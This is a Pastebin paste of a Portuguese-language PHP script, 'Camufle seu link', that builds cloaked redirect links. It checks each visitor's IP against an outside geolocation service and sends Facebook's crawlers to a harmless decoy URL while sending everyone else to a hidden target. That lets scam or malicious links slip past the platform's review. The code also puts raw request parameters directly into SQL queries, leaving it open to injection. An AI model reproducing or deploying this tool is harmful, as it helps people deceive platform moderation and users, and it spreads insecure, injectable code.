Advertisement
Guest User

Untitled

a guest
Nov 6th, 2016
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.42 KB | None | 0 0
  1. <?php
  2. ob_start();
  3. ini_set('display_errors',1);
  4. ini_set('display_startup_erros',1);
  5. error_reporting(E_ALL);
  6. $servername = "xx";
  7. $username = "xx";
  8. $password = "xx";
  9. $dbname = "xx";
  10.  
  11. // Create connection
  12. $conn = new mysqli($servername, $username, $password, $dbname);
  13. // Check connection
  14. if ($conn->connect_error) {
  15.     die("Connection failed: " . $conn->connect_error);
  16. }
  17. if(isset($_GET['redirect'])){
  18. $code = $_GET['redirect'];
  19. $ip = $_SERVER['REMOTE_ADDR']; // the IP address to query
  20.  
  21. $sql = "SELECT * from relink where code='$code'";
  22. $result = $conn->query($sql);
  23. if ($result->num_rows > 0) {
  24. $row = $result->fetch_assoc();
  25. $ip = $_SERVER['REMOTE_ADDR'];
  26. $j = file_get_contents('http://www.localizaip.com.br/api/iplocation.php?ip='.$ip);
  27. $j = json_decode($j);
  28.   if(strstr($j->provider,"Facebook")){
  29.       header("location: ".$row['out']);
  30.   } else{
  31.       header("location: ".$row['url']);
  32.   }
  33.  
  34.  
  35. }
  36.  
  37. } else if(isset($_GET['url']) && isset($_GET['robo'])){
  38. $code = md5(rand());
  39. $url = $_GET['url'];
  40. $location = $_GET['robo'];
  41. $sql = "INSERT INTO relink values(null,'$code','$url','$location')";
  42. if ($conn->query($sql) === TRUE) {
  43.     echo "http://noticiasagora16.com/?redirect=".$code;
  44. }
  45. } else{
  46. ?>
  47. <!doctype html>
  48. <head>
  49. <title>Camufle seu link</title>
  50. <style>
  51. body{
  52.     background: url(http://ap.imagensbrasil.org/images/BG_FUNDO.png);
  53. }
  54. </style>
  55. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
  56. <script>
  57. function criarlink(){
  58.     url = $("#url").val();
  59.     robo = $("#robo").val();
  60.     if(url == '' || robo == ''){
  61.         alert("caixas vazias!");
  62.         return;
  63.     }
  64.     $.get("?url="+url+"&robo="+robo, function(c){
  65.         $("#pre").slideUp();
  66.         $("#output").val(c);
  67.         $("#out").slideDown();
  68.     });
  69. }
  70. </script>
  71. </head>
  72. <body>
  73.  
  74. <center>
  75.     <br><br><br> <br><br><br>
  76.     <h1 style="color: #000; font-size: 38px;">Camufle seu url!</h1>
  77. <div id="pre">
  78. <input type="text" id="url" name="url" style="padding:15px;width:350px;" placeholder="camufla url"/>
  79. <input type="text" id="robo" name="robo" style="padding:15px;width:320px;" placeholder="URL robo (link que facebook vai identificar)"/>
  80. <button style="padding:15px;" onclick="criarlink();">Criar link</button>
  81. </div>
  82. <div id="out" style="display:none;">
  83.     <b>seu url</b>
  84.     <input type="text" id="output" name="url" style="padding:15px;width:350px;" value=""/>
  85. </div>
  86. </body>
  87. </html>
  88. <?
  89. }
  90. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement